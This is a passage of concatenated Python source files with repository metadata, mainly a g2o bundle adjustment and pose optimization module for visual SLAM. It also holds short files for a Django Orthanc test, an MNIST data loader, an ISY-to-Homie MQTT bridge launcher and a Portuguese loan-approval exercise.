None: # continue # key = (v_idx, self.indexOfVertex("Frame", frame_key)) # e_idx = self.edge_seq_generate(key) # # # measurement # px = frame.pixels[pixel_pos] # # # @todo: TODO compute invSigma for : see ORBSlam implementation for details # invSigma = 1. # # if not isinstance(key[1], int): # print("key[1]", key[1]) # raise Exception("Wrong value!") # edge = self.add_edge(e_idx, key[0], key[1], px.data, # information=np.identity(2) * invSigma) # # # set camera parameters to compute reprojection error with measurements # cam = frame.camera # device = cam.device # # # modify python/types/sba/type_six_dof_expmap.h#L81 # # # # Projection using focal_length in x and y directions # # py::class_<EdgeSE3ProjectXYZ, BaseBinaryEdge<2, Vector2D, VertexSBAPointXYZ, VertexSE3Expmap>>(m, "EdgeSE3ProjectXYZ") # # .def(py::init<>()) # # .def("compute_error", &EdgeSE3ProjectXYZ::computeError) # # .def("is_depth_positive", &EdgeSE3ProjectXYZ::isDepthPositive) # # .def("cam_project", &EdgeSE3ProjectXYZ::cam_project) # # + .def_readwrite("fx", &EdgeSE3ProjectXYZ::fx) # # + .def_readwrite("fy", &EdgeSE3ProjectXYZ::fy) # # + .def_readwrite("cx", &EdgeSE3ProjectXYZ::cx) # # + .def_readwrite("cy", &EdgeSE3ProjectXYZ::cy) # # ; # # # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy # # # check our modification is correct: I am not sure whether g2opy runs as expected so we check the result manually. # # measurement = edge.cam_project(edge.vertex(1).estimate().map(edge.vertex(0).estimate())) # print("Measurement: %s" % measurement) # print("px: %s" % px.data) # # assert int(measurement[0]) == int(px.x) and int(measurement[1]) == int(px.y) # pass # # if self.USE_LANDMARKS: # # treat landmark as stationary points group and compute key points from it # logging.info("Using landmarks for bundle adjustment ...") # # set landmarks as vertices # for _, landmark in landmarks.items(): # # representing landmark as top centre point # logging.info("%s points size %d" % (landmark, len(landmark.points))) # # # compute bbox # # Note: I just use AABB instead of OBB, because to estimate OBB we need dense points # # bbox = landmark.computeAABB() # # topCentre = bbox.topCentre() # # v = topCentre.data # # centroid = landmark.Centroid() # v = centroid.data # v_idx = self.vertex_seq_generate("MapPoint", centroid.seq) # # self.add_point(v_idx, v, marginalized=True) # # # estimate measurement # # we suppose the positions (centers) of landmarks are stable, which will be used in PnP later # # @todo : TODO # # # set edges # observations = landmark.observations # # # choose an estimate pose # visited_pxes = {} # for (point_key, frame_seq), pixel_pos in observations.items(): # point = pointCloud[point_key] # frame = frames[frame_seq] # cam = frame.camera # if cam is None: # continue # # px_pose = point[frame_seq] # px = frame.pixels[pixel_pos] # # if visited_pxes.get(frame_seq, None) is None: # visited_pxes = [] # visited_pxes[frame_seq].append(px.data) # pass # # for frame_seq, projected_pixels in visited_pxes: # reduced = reduce(lambda pre, cur: pre + cur, projected_pixels) # reduced /= len(projected_pixels) # key = (v_idx, self.indexOfVertex("Frame", frame_seq)) # e_idx = self.edge_seq_generate(key) # # # @todo: TODO compute invSigma for : see ORBSlam implementation for details # # I have little idea how this should be set # invSigma = 1. # # edge = self.add_edge(self.vertexPair_edges[key], key[0], key[1], reduced, # information=np.identity(2) * invSigma) # # # set camera parameters to compute reprojection error with measurements # cam = frame.camera # device = cam.device # # # add camera parameters to compute reprojection errors # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy # # pass # pass # # logging.info("Number of vertices:", len(self.vertices())) # logging.info("Number of edges:", len(self.edges())) # return self def Init(self): frames = self._map.get_active_frames() landmarks = self._map.trackList() pointCloud = self._map.trackPointsList() once = False # construct graph # set key frame as vertices for i, frame in enumerate(frames): cam = frame.camera pose = None if cam is None: continue pose = g2o.SE3Quat(cam.R0, cam.t0.reshape(3, )) v_idx = self.vertex_seq_generate("Frame", frame.seq) # only set the first frame as stational piont # self.add_pose(v_idx, pose, False)#fixed=frame.seq == 1) # when use ground truth self.add_pose(v_idx, pose, fixed=frame.seq == 1) if not once: K = cam.K focal_length = (K[0, 0] + K[1, 1]) / 2 pp = (K[0, 2], K[1, 2]) cam_p = g2o.CameraParameters(focal_length, pp, 0) cam_p.set_id(0) self.add_parameter(cam_p) once = True # set array of MapPoint as vertices for _, point in pointCloud.items(): v = point.data # + np.random.randn(3) v_idx = self.vertex_seq_generate("MapPoint", point.seq) self.add_point(v_idx, v, marginalized=True) # set edges try: observations = point.frames except AttributeError: observations = point.observations for frame_key, pixel_pos in observations.items(): frame = self._map.findFrame(frame_key) cam = frame.camera if cam is None: continue key = (v_idx, self.indexOfVertex("Frame", frame_key)) e_idx = self.edge_seq_generate(key) # measurement px = frame.pixels[pixel_pos] # @todo: TODO compute invSigma for : see ORBSlam implementation for details invSigma = 1. if not isinstance(key[1], int): print("key[1]", key[1]) raise Exception("Wrong value!") edge = self.add_edge(e_idx, key[0], key[1], px.data, # + np.random.randn(2), information=np.identity(2) * invSigma) # set camera parameters to compute reprojection error with measurements cam = frame.camera device = cam.device # modify python/types/sba/type_six_dof_expmap.h#L81 # # Projection using focal_length in x and y directions # py::class_<EdgeSE3ProjectXYZ, BaseBinaryEdge<2, Vector2D, VertexSBAPointXYZ, VertexSE3Expmap>>(m, "EdgeSE3ProjectXYZ") # .def(py::init<>()) # .def("compute_error", &EdgeSE3ProjectXYZ::computeError) # .def("is_depth_positive", &EdgeSE3ProjectXYZ::isDepthPositive) # .def("cam_project", &EdgeSE3ProjectXYZ::cam_project) # + .def_readwrite("fx", &EdgeSE3ProjectXYZ::fx) # + .def_readwrite("fy", &EdgeSE3ProjectXYZ::fy) # + .def_readwrite("cx", &EdgeSE3ProjectXYZ::cx) # + .def_readwrite("cy", &EdgeSE3ProjectXYZ::cy) # ; # # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy # check our modification is correct: I am not sure whether g2opy runs as expected so we check the result manually. # used for EdgeSE3ProjectXYZ # measurement = edge.cam_project( edge.vertex(1).estimate().map( edge.vertex(0).estimate() ) ) # print("Measurement: %s" % measurement) # print("px: %s" % px.data) # assert int(measurement[0]) == int(px.x) and int(measurement[1]) == int(px.y) pass if self.USE_LANDMARKS: # treat landmark as stationary points group and compute key points from it logging.info("Using landmarks for bundle adjustment ...") # set landmarks as vertices for _, landmark in landmarks.items(): # representing landmark as top centre point logging.info("%s points size %d" % (landmark, len(landmark.points))) # compute bbox # Note: I just use AABB instead of OBB, because to estimate OBB we need dense points # bbox = landmark.computeAABB() # topCentre = bbox.topCentre() # v = topCentre.data centroid = landmark.Centroid() v = centroid.data v_idx = self.vertex_seq_generate("MapPoint", centroid.seq) self.add_point(v_idx, v, marginalized=True) # estimate measurement # we suppose the positions (centers) of landmarks are stable, which will be used in PnP later # @todo : TODO # set edges observations = landmark.observations # choose an estimate pose visited_pxes = {} for (point_key, frame_seq), pixel_pos in observations.items(): point = pointCloud[point_key] # frame = frames[frame_seq - 1] frame = self._map.findFrame(frame_key) cam = frame.camera if cam is None: continue px_pose = point[frame_seq] px = frame.pixels[pixel_pos] if visited_pxes.get(frame_seq, None) is None: visited_pxes = [] visited_pxes[frame_seq].append(px.data) pass for frame_seq, projected_pixels in visited_pxes: reduced = reduce(lambda pre, cur: pre + cur, projected_pixels) reduced /= len(projected_pixels) key = (v_idx, self.indexOfVertex("Frame", frame_seq)) e_idx = self.edge_seq_generate(key) # @todo: TODO compute invSigma for : see ORBSlam implementation for details # I have little idea how this should be set invSigma = 1. edge = self.add_edge(self.vertexPair_edges[key], key[0], key[1], reduced, information=np.identity(2) * invSigma) # set camera parameters to compute reprojection error with measurements cam = frame.camera device = cam.device # add camera parameters to compute reprojection errors # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy pass pass logging.info("Number of vertices:", len(self.vertices())) logging.info("Number of edges:", len(self.edges())) return self def optimize(self, max_iterations=5, verbose=True): super().initialize_optimization() super().set_verbose(verbose) super().optimize(max_iterations) return self # @todo :TODO # pose: g2o.Isometry3d or g2o.SE3Quat def add_pose(self, pose_id, pose, fixed=False): v_se3 = g2o.VertexSE3Expmap() v_se3.set_id(pose_id) v_se3.set_fixed(fixed) ## ## v_se3.set_estimate(pose.inverse()) super().add_vertex(v_se3) return v_se3 # point: numpy array with shape=(3,), similar to Eigen::Vector3 def add_point(self, point_id, point, fixed=False, marginalized=True): v_p = g2o.VertexSBAPointXYZ() v_p.set_id(point_id) v_p.set_estimate(point) v_p.set_marginalized(marginalized) v_p.set_fixed(fixed) super().add_vertex(v_p) return v_p # @todo : TODO def add_edge(self, edge_id, point_id, pose_id, measurement, information=np.identity(2), robust_kernel=g2o.RobustKernelHuber(np.sqrt(5.991))): # edge = g2o.EdgeSE3ProjectXYZ() edge = g2o.EdgeProjectXYZ2UV() edge.set_id(edge_id) edge.set_vertex(0, self.vertex(point_id) ) edge.set_vertex(1, self.vertex(pose_id) ) edge.set_measurement(measurement) edge.set_information(information) if robust_kernel is not None: edge.set_robust_kernel(robust_kernel) edge.set_parameter_id(0,0) super().add_edge(edge) return edge ## == Used in mapping thread class LocalBA(BundleAdjustment): def __init__(self): super().__init__() # self.frame = None # all the points can be viewed by this frame self.points = None # self.measurements = None # self.mappoints = [] # self.local_key_frames = {} # self.Thr = 15 # self.adjusted_frames = None # self.fixed_frames = None def set_FromFrame(self, frame): self.frame = frame return self def set_FromPoints(self, points): self.points = points return self def set_FromMeasurements(self, measurements): self.measurements = measurements return self # override def Init(self): adjusted, fixed = self.get_local_keyframes() print("[LocalBA] %d adjusted frames" % len(adjusted)) print("[LocalBA] %d fixed frames" % len(fixed)) self.adjusted_frames = adjusted self.fixed_frames = fixed if len(adjusted) == 0: print("Something wrong here ...") pass once = False # construct graph # set key frame as vertices for i, frame in enumerate(adjusted): cam = frame.camera pose = None if cam is None: continue pose = g2o.SE3Quat(cam.R0, cam.t0.reshape(3, )) v_idx = self.vertex_seq_generate("Frame", frame.seq) # only set the first frame as stational piont # self.add_pose(v_idx, pose, False)#fixed=frame.seq == 1) # when use ground truth self.add_pose(v_idx, pose, fixed=False) if not once: K = cam.K focal_length = (K[0, 0] + K[1, 1]) / 2 pp = (K[0, 2], K[1, 2]) cam_p = g2o.CameraParameters(focal_length, pp, 0) cam_p.set_id(0) self.add_parameter(cam_p) once = True pointCloud, Measurement = frame.get_measurements() N = len(pointCloud) for i in range(N): point = pointCloud[i] v = point.data # + np.random.randn(3) v_idx = self.vertex_seq_generate("MapPoint", point.seq) self.add_point(v_idx, v, marginalized=True) # set edge cam = frame.camera if cam is None: continue key = (v_idx, self.indexOfVertex("Frame", frame.seq)) e_idx = self.edge_seq_generate(key) # measurement px = Measurement[i] # @todo: TODO compute invSigma for : see ORBSlam implementation for details invSigma = 1. if not isinstance(key[1], int): print("key[1]", key[1]) raise Exception("Wrong value!") edge = self.add_edge(e_idx, key[0], key[1], px.data, # + np.random.randn(2), information=np.identity(2) * invSigma) self.mappoints.append((point, frame.seq, px)) # set camera parameters to compute reprojection error with measurements cam = frame.camera device = cam.device # modify python/types/sba/type_six_dof_expmap.h#L81 # # Projection using focal_length in x and y directions # py::class_<EdgeSE3ProjectXYZ, BaseBinaryEdge<2, Vector2D, VertexSBAPointXYZ, VertexSE3Expmap>>(m, "EdgeSE3ProjectXYZ") # .def(py::init<>()) # .def("compute_error", &EdgeSE3ProjectXYZ::computeError) # .def("is_depth_positive", &EdgeSE3ProjectXYZ::isDepthPositive) # .def("cam_project", &EdgeSE3ProjectXYZ::cam_project) # + .def_readwrite("fx", &EdgeSE3ProjectXYZ::fx) # + .def_readwrite("fy", &EdgeSE3ProjectXYZ::fy) # + .def_readwrite("cx", &EdgeSE3ProjectXYZ::cx) # + .def_readwrite("cy", &EdgeSE3ProjectXYZ::cy) # ; # # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy # ===== FIXED ===== for i, frame in enumerate(fixed): cam = frame.camera pose = None if cam is None: continue pose = g2o.SE3Quat(cam.R0, cam.t0.reshape(3, )) v_idx = self.vertex_seq_generate("Frame", frame.seq) # only set the first frame as stational piont # self.add_pose(v_idx, pose, False)#fixed=frame.seq == 1) # when use ground truth self.add_pose(v_idx, pose, fixed=True) if not once: K = cam.K focal_length = (K[0, 0] + K[1, 1]) / 2 pp = (K[0, 2], K[1, 2]) cam_p = g2o.CameraParameters(focal_length, pp, 0) cam_p.set_id(0) self.add_parameter(cam_p) once = True pointCloud, Measurement = frame.get_measurements() N = len(pointCloud) for i in range(N): point = pointCloud[i] v = point.data # + np.random.randn(3) v_idx = self.vertex_seq_generate("MapPoint", point.seq) self.add_point(v_idx, v, marginalized=True) # set edge cam = frame.camera if cam is None: continue key = (v_idx, self.indexOfVertex("Frame", frame.seq)) e_idx = self.edge_seq_generate(key) # measurement px = Measurement[i] # @todo: TODO compute invSigma for : see ORBSlam implementation for details invSigma = 1. if not isinstance(key[1], int): print("key[1]", key[1]) raise Exception("Wrong value!") edge = self.add_edge(e_idx, key[0], key[1], px.data, # + np.random.randn(2), information=np.identity(2) * invSigma) self.mappoints.append((point, frame.seq, px)) # set camera parameters to compute reprojection error with measurements cam = frame.camera device = cam.device # modify python/types/sba/type_six_dof_expmap.h#L81 # # Projection using focal_length in x and y directions # py::class_<EdgeSE3ProjectXYZ, BaseBinaryEdge<2, Vector2D, VertexSBAPointXYZ, VertexSE3Expmap>>(m, "EdgeSE3ProjectXYZ") # .def(py::init<>()) # .def("compute_error", &EdgeSE3ProjectXYZ::computeError) # .def("is_depth_positive", &EdgeSE3ProjectXYZ::isDepthPositive) # .def("cam_project", &EdgeSE3ProjectXYZ::cam_project) # + .def_readwrite("fx", &EdgeSE3ProjectXYZ::fx) # + .def_readwrite("fy", &EdgeSE3ProjectXYZ::fy) # + .def_readwrite("cx", &EdgeSE3ProjectXYZ::cx) # + .def_readwrite("cy", &EdgeSE3ProjectXYZ::cy) # ; # # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy pass def get_local_keyframes(self): frames = self._map.get_active_frames() pointCloud = self.points adjusted = set() fixed = set() # select key frames for _, point in pointCloud.items(): # observations = point.frames # for frame_key, pixel_pos in observations.items(): # this only contains key points records for frame in frames: frame_key = frame.seq camera = frame.camera # print("viewing point %s using camera from Frame#%d" % (point, frame.seq)) cam_pt = camera.viewWorldPoint(point) projection = camera.view(cam_pt) if projection is None: continue if self.local_key_frames.get(frame_key, None) is None: self.local_key_frames[frame_key] = 0 self.local_key_frames[frame_key] += 1 for frame_key, cnt in self.local_key_frames.items(): if cnt > self.Thr: frame = self._map.findFrame(frame_key) print("[LocalBA] add %s to adjusted" % frame) adjusted.add(frame) for frame in frames: if frame not in adjusted: print("[LocalBA] add %s to fixed" % frame) fixed.add(frame) return adjusted, fixed # @todo : TODO def EstimateError(self): pass # @todo : TODO def UpdateMap(self): landmarks = self._map.trackList() for i, frame in enumerate(self.adjusted_frames): cam = frame.camera if cam is None: continue frame.update_pose(self.get_pose("Frame", frame.seq)) for point, frame_key, px in self.mappoints: refined_point = self.get_point("MapPoint", point.seq) # print("refined mappoint %s position:" % point, refined_point) point.update(*refined_point) if self.USE_LANDMARKS: for _, landmark in landmarks.items(): centroid = landmark.Centroid() refined_point = self.get_point("MapPoint", centroid.seq) # print("refined landmark centroid %s position:" % centroid, refined_point) centroid.update(*refined_point) pass pass pass ## =============================== class PoseOptimization(Optimizer): def __init__(self): super().__init__() # g2o::BlockSlover_6_3(g2o::BlockSolver_6_3::LinearSolverType*) linear_solver = g2o.BlockSolverSE3(g2o.LinearSolverCholmodSE3()) solver = g2o.OptimizationAlgorithmLevenberg(linear_solver) super().set_algorithm(solver) # additional parameters terminate = g2o.SparseOptimizerTerminateAction() terminate.set_gain_threshold(1e-6) super().add_post_iteration_action(terminate) # self._map = None # self.frame = None # self.points = None # self.vSE3 = None # self.measurements = None # self.vertex_seq_generator = AtomicCounter() self.edge_seq_generator = AtomicCounter() # Point | Frame | Landmark -> Vertex mapping # inverse vertex query self._ivq = {} # (Vertex, Vetex) -> Edge mapping, a sparse matrix # inverse edges query self._ieq = {} # self.USE_LANDMARKS = False # self.edges = [] def set_FromMap(self, map): self._map = map return self def set_FromFrame(self, frame): self.frame = frame return self def set_FromPoints(self, points): self.points = points return self def set_FromMeasurements(self, measurements): self.measurements = measurements return self # @todo : TODO def Init(self): pointCloud = self.points measurements = self.measurements once = False # set current frame as vertex to be optimized cam = self.frame.camera if not once: K = cam.K focal_length = (K[0, 0] + K[1, 1]) / 2 pp = (K[0, 2], K[1, 2]) cam_p = g2o.CameraParameters(focal_length, pp, 0) cam_p.set_id(0) self.add_parameter(cam_p) once = True pose = g2o.SE3Quat(cam.R0, cam.t0.reshape(3, )) v_idx = self.vertex_seq_generate("Frame", self.frame.seq) self.vSE3 = self.add_pose(v_idx, pose, False) # add point # set array of MapPoint as vertices for _, point in pointCloud.items(): v = point.data v_idx = self.vertex_seq_generate("MapPoint", point.seq) # We only optimize pose, it is also possible to use g2o::EdgeSE3ProjectXYZOnlyPose self.add_point(v_idx, v, marginalized=True, fixed=True) # viewed by the frame key = (v_idx, self.indexOfVertex("Frame", self.frame.seq)) e_idx = self.edge_seq_generate(key) # measurement measurement = measurements[point.seq] px = measurement.px2d2 # @todo: TODO compute invSigma for : see ORBSlam implementation for details # I have little idea how this should be set invSigma = 1. edge = self.add_edge(e_idx, key[0], key[1], px.data, information=np.identity(2) * invSigma) # device = self.frame.camera.device # modify python/types/sba/type_six_dof_expmap.h#L81 # # Projection using focal_length in x and y directions # py::class_<EdgeSE3ProjectXYZ, BaseBinaryEdge<2, Vector2D, VertexSBAPointXYZ, VertexSE3Expmap>>(m, "EdgeSE3ProjectXYZ") # .def(py::init<>()) # .def("compute_error", &EdgeSE3ProjectXYZ::computeError) # .def("is_depth_positive", &EdgeSE3ProjectXYZ::isDepthPositive) # .def("cam_project", &EdgeSE3ProjectXYZ::cam_project) # + .def_readwrite("fx", &EdgeSE3ProjectXYZ::fx) # + .def_readwrite("fy", &EdgeSE3ProjectXYZ::fy) # + .def_readwrite("cx", &EdgeSE3ProjectXYZ::cx) # + .def_readwrite("cy", &EdgeSE3ProjectXYZ::cy) # ; # # edge.fx = device.fx # edge.fy = device.fy # edge.cx = device.cx # edge.cy = device.cy pass # PoseOptimization converges very quickly () def optimize(self, max_iterations=5, verbose=True, level=None): if level is not None: super().initialize_optimization(level) else: super().initialize_optimization() super().set_verbose(verbose) super().optimize(max_iterations) return self #@todo : TDOO def optimizeWhileFiltering(self): MaxIter = 5 it = 0 vSE3 = self.vSE3 cam = self.frame.camera outliers = {} while it < MaxIter: vSE3.set_estimate(g2o.SE3Quat(cam.R0, cam.t0.reshape(3, ))) self.optimize(level=it) # @todo : TODO # see ORBSlam PoseOptimization pass pass def add_pose(self, pose_id, pose, fixed=False): v_se3 = g2o.VertexSE3Expmap() v_se3.set_id(pose_id) v_se3.set_fixed(fixed) v_se3.set_estimate(pose.inverse()) super().add_vertex(v_se3) return v_se3 # point: numpy array with shape=(3,), similar to Eigen::Vector3 def add_point(self, point_id, point, fixed=False, marginalized=True): v_p = g2o.VertexSBAPointXYZ() v_p.set_id(point_id) v_p.set_estimate(point) v_p.set_marginalized(marginalized) v_p.set_fixed(fixed) super().add_vertex(v_p) return v_p # @todo : TODO def add_edge(self, edge_id, point_id, pose_id, measurement, information=np.identity(2), robust_kernel=g2o.RobustKernelHuber(np.sqrt(5.991))): # edge = g2o.EdgeSE3ProjectXYZOnlyPose() # edge = g2o.EdgeSE3ProjectXYZ() edge = g2o.EdgeProjectXYZ2UV() edge.set_id(edge_id) edge.set_vertex(0, self.vertex(point_id)) edge.set_vertex(1, self.vertex(pose_id)) edge.set_measurement(measurement) edge.set_information(information) if robust_kernel is not None: edge.set_robust_kernel(robust_kernel) edge.set_parameter_id(0, 0) super().add_edge(edge) return edge if __name__ == "__main__": edge = g2o.EdgeSE3ProjectXYZ() # edge = g2o.EdgeSE3ProjectXYZOnlyPose() # passed! print(edge.fx)

a9d4d662dff18c26344425cc847a0cdca9ae154a

py

Python

app/tests/integration/test_orthanc_class.py

salimkanoun/Rest_Radiomics

eda8b2e7d0a95c0fe789bcf5758a4a1cef2c6996

app/tests/integration/test_orthanc_class.py

salimkanoun/Rest_Radiomics

eda8b2e7d0a95c0fe789bcf5758a4a1cef2c6996

2021-06-21T19:38:00.000Z

2021-06-21T19:38:00.000Z

app/tests/integration/test_orthanc_class.py

salimkanoun/Rest_Radiomics

eda8b2e7d0a95c0fe789bcf5758a4a1cef2c6996

2021-06-21T12:28:28.000Z

2021-06-21T12:30:37.000Z

from django.test import TestCase from ...gaelo_processing.models.Orthanc import Orthanc class test_orthanc_class(TestCase): def test_get_zip_from_orthanc(self): ortanc_instance = Orthanc() zip_path = ortanc_instance.get_zip_from_orthanc( "3a84b7f7-d0c66087-d70b292e-0c585356-56b6ccb3") print('test get_zip_from_orthanc validate')

c44f3760ccf9dfdc8bbe6f4e5e235c264d30339d

py

Python

Project2/nnreg/dataloader.py

marianylund/fysstkprojects

7ef97cdf3356dad8ee931a19812d3b0f1625997b

Project2/nnreg/dataloader.py

marianylund/fysstkprojects

7ef97cdf3356dad8ee931a19812d3b0f1625997b

Project2/nnreg/dataloader.py

marianylund/fysstkprojects

7ef97cdf3356dad8ee931a19812d3b0f1625997b

import numpy as np import mnist from sklearn.model_selection import train_test_split from RegLib.HelperFunctions import create_frankie_data, create_X, plot_values_with_info,plot_values_with_two_y_axis from yacs.config import CfgNode as CN class DataLoader(): """ Contains X_train, X_test, y_train, y_test for the dataset given in the config. Can also have X_val and y_val for other sets than franke, size depends on the the config """ def __init__(self, cfg: CN, perm_index = [-1], one_hot_encode = True): self.data_name = cfg.DATA.NAME if self.data_name == "franke": self.load_franke_data(cfg, perm_index) elif self.data_name == "mnist": self.load_mnist_data(cfg, one_hot_encode) else: raise ValueError(self.data_name, " is not found in DataLoader init") def load_franke_data(self, cfg: CN, perm_index): x, y, z = create_frankie_data(cfg.SEED, cfg.DATA.FRANKIE.N, cfg.DATA.FRANKIE.NOISE) X = create_X(x, y, cfg.DATA.FRANKIE.P) self.split_and_scale_train_test(X, z, perm_index, test_size = cfg.TEST_SIZE) return self def load_mnist_data(self, cfg: CN, one_hot_encode = True): val_percent = cfg.DATA.MNIST.VAL_PERCENT binary_classes = cfg.DATA.MNIST.BINARY num_of_classes = len(binary_classes) if(num_of_classes != 0): assert num_of_classes == 2, "Cannot have " + str(num_of_classes) + " classes" X_train, self.y_train, X_val, self.y_val, X_test, self.y_test = load_binary_dataset(binary_classes[0], binary_classes[1], val_percent) else: X_train, self.y_train, X_val, self.y_val, X_test, self.y_test = load_full_mnist(val_percent) # One hot encode the results if one_hot_encode: self.y_train = self.one_hot_encode(self.y_train, 10) self.y_val = self.one_hot_encode(self.y_val, 10) self.y_test = self.one_hot_encode(self.y_test, 10) # Pre-process the batch X_mean, X_std = (np.mean(X_train), np.std(X_train)) self.X_train = self.pre_process_images(X_train, X_mean, X_std) self.X_val = self.pre_process_images(X_val, X_mean, X_std) self.X_test = self.pre_process_images(X_test, X_mean, X_std) def one_hot_encode(self, Y: np.ndarray, num_classes: int): new_Y = np.zeros((Y.shape[0], num_classes)) for i in range(len(Y)): new_Y[i][Y[i]] = 1 return new_Y def pre_process_images(self, X: np.ndarray, X_mean: float, X_std: float): assert X.shape[1] == 784,\ f"X.shape[1]: {X.shape[1]}, should be 784" X = (X - X_mean) / X_std X = np.c_[X, np.ones(X.shape[0])] # Apply bias trick return X def split_and_scale_train_test(self, X, y, perm_index = [-1], test_size = 0.2): assert X.shape[0] == y.shape[0], ("X.shape[0] and y.shape[0] needs to be the same length, but: " + str(X.shape[0]) + " != " + str(y.shape[0])) if(len(perm_index) > 1): X = X[perm_index] y = y[perm_index] self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(X, y, test_size=test_size, shuffle=False) self.X_train, self.X_val, self.y_train, self.y_val = train_test_split(self.X_train, self.y_train, test_size=0.25, shuffle = False) self.X_train, self.X_test, self.X_val = self.scale_standard(self.X_train, self.X_test, self.X_val) # Force the correct shape: self.y_test.shape = (self.y_test.shape[0], 1) self.y_train.shape = (self.y_train.shape[0], 1) self.y_val.shape = (self.y_val.shape[0], 1) return self def scale_standard(self, train_data, test_data, val_data): data_mean = np.mean(train_data[:,1:], axis = 0) data_std = np.std(train_data[:,1:], axis = 0) train_data_scaled = train_data test_data_scaled = test_data val_data_scaled = val_data train_data_scaled[:,1:] = np.divide((train_data[:,1:] - data_mean), data_std) test_data_scaled[:,1:] = np.divide((test_data[:,1:] - data_mean), data_std) val_data_scaled[:,1:] = np.divide((val_data[:,1:] - data_mean), data_std) return train_data_scaled, test_data_scaled, val_data_scaled # https://github.com/hukkelas/TDT4265-StarterCode/tree/master/assignment1 def binary_prune_dataset(class1: int, class2: int, X: np.ndarray, Y: np.ndarray): """ Splits the dataset into the class 1 and class2. All other classes are removed. Args: X: images of shape [batch size, 784] in the range (0, 255) Y: labels of shape [batch size] """ mask1 = (Y == class1) mask2 = (Y == class2) mask_total = np.bitwise_or(mask1, mask2) Y_binary = Y.copy() Y_binary[mask1] = 1 Y_binary[mask2] = 0 return X[mask_total], Y_binary[mask_total] def train_val_split(X: np.ndarray, Y: np.ndarray, val_percentage: float): """ Randomly splits the training dataset into a training and validation set. """ idx = np.arange(0, X.shape[0]) np.random.shuffle(idx) train_size = int(X.shape[0] * (1 - val_percentage)) idx_train = idx[:train_size] idx_val = idx[train_size:] X_train, Y_train = X[idx_train], Y[idx_train] X_val, Y_val = X[idx_val], Y[idx_val] return X_train, Y_train, X_val, Y_val def load_binary_dataset(class1: int, class2: int, val_percentage: float): """ Loads, prunes and splits the dataset into train, validation and test. """ train_size = 20000 test_size = 2000 X_train, Y_train, X_test, Y_test = mnist.load() # First 20000 images from train set X_train, Y_train = X_train[:train_size], Y_train[:train_size] # Last 2000 images from test set X_test, Y_test = X_test[-test_size:], Y_test[-test_size:] X_train, Y_train = binary_prune_dataset( class1, class2, X_train, Y_train ) X_test, Y_test = binary_prune_dataset( class1, class2, X_test, Y_test ) # Reshape to (N, 1) Y_train = Y_train.reshape(-1, 1) Y_test = Y_test.reshape(-1, 1) X_train, Y_train, X_val, Y_val = train_val_split( X_train, Y_train, val_percentage ) # print(f"Train shape: X: {X_train.shape}, Y: {Y_train.shape}") # print(f"Validation shape: X: {X_val.shape}, Y: {Y_val.shape}") # print(f"Test shape: X: {X_test.shape}, Y: {Y_test.shape}") return X_train, Y_train, X_val, Y_val, X_test, Y_test def load_full_mnist(val_percentage: float): """ Loads and splits the dataset into train, validation and test. """ train_size = 20000 test_size = 2000 X_train, Y_train, X_test, Y_test = mnist.load() # First 20000 images from train set X_train, Y_train = X_train[:train_size], Y_train[:train_size] # Last 2000 images from test set X_test, Y_test = X_test[-test_size:], Y_test[-test_size:] # Reshape to (N, 1) Y_train = Y_train.reshape(-1, 1) Y_test = Y_test.reshape(-1, 1) X_train, Y_train, X_val, Y_val = train_val_split( X_train, Y_train, val_percentage ) # print(f"Train shape: X: {X_train.shape}, Y: {Y_train.shape}") # print(f"Validation shape: X: {X_val.shape}, Y: {Y_val.shape}") # print(f"Test shape: X: {X_test.shape}, Y: {Y_test.shape}") return X_train, Y_train, X_val, Y_val, X_test, Y_test

6527548527556d6ab58f2e9bb1488746eda96e90

py

Python

isy_homie_start.py

jspeckman/ISY-Homie-Bridge

2bb952e5bfc07cb85e961654963c2f4e5e962aec

isy_homie_start.py

jspeckman/ISY-Homie-Bridge

2bb952e5bfc07cb85e961654963c2f4e5e962aec

isy_homie_start.py

jspeckman/ISY-Homie-Bridge

2bb952e5bfc07cb85e961654963c2f4e5e962aec

#!/usr/bin/env python import time import yaml from isy_homie.bridge import Bridge with open("isy_homie.yml", 'r') as ymlfile: cfg = yaml.full_load(ymlfile) try: bridge = Bridge (address=cfg['isy'] ['url'], username=cfg['isy'] ['username'],password=cfg['isy'] ['password'],mqtt_settings=cfg['mqtt']) while True: time.sleep(10) except (KeyboardInterrupt, SystemExit): print("Quitting.")

c1bd69bd31fa9e5aadcd22b9bc5fe26e61350f4b

py

Python

Mundo 1/Ex36.py

legna7/Python

52e0b642d1b7acc592ec82dd360c5697fb0765db

2020-04-18T21:56:35.000Z

2020-04-23T00:00:08.000Z

Mundo-2/desafio-036.py

LeonardoARGR/Desafios-Python-Curso-em-Video

3fb1b0615fce88f968b5ba6e4bac43fcb0e72d98

Mundo-2/desafio-036.py

LeonardoARGR/Desafios-Python-Curso-em-Video

3fb1b0615fce88f968b5ba6e4bac43fcb0e72d98

valordacasa = float(input('Qual é o valor da casa?: R$')) salário = float(input('Qual o seu salário?: R$')) anos = int(input('Por quantos anos você vai pagar a casa?: ')) print(f'Para pagar uma casa de R${valordacasa :.2f} em {anos} anos, a prestação mensal será de R${valordacasa / anos / 12 :.2f}') if valordacasa / anos / 12 > salário * 30 / 100: print(f'Desculpe, mas você não pode financiar essa casa, emprestimo NEGADO.') elif valordacasa / anos / 12 <= salário * 30 / 100: print(f'Você pode financiar a casa, emprestimo APROVADO.')

7b1f90135966bdbc366edeb69de7371f27fe38e9

py

Python

Slides/Slide/Cell/Link.py

olesmith/SmtC

dfae5097f02192b60aae05b9d02404fcfe893be3

Slides/Slide/Cell/Link.py

olesmith/SmtC

dfae5097f02192b60aae05b9d02404fcfe893be3

Slides/Slide/Cell/Link.py

olesmith/SmtC

dfae5097f02192b60aae05b9d02404fcfe893be3

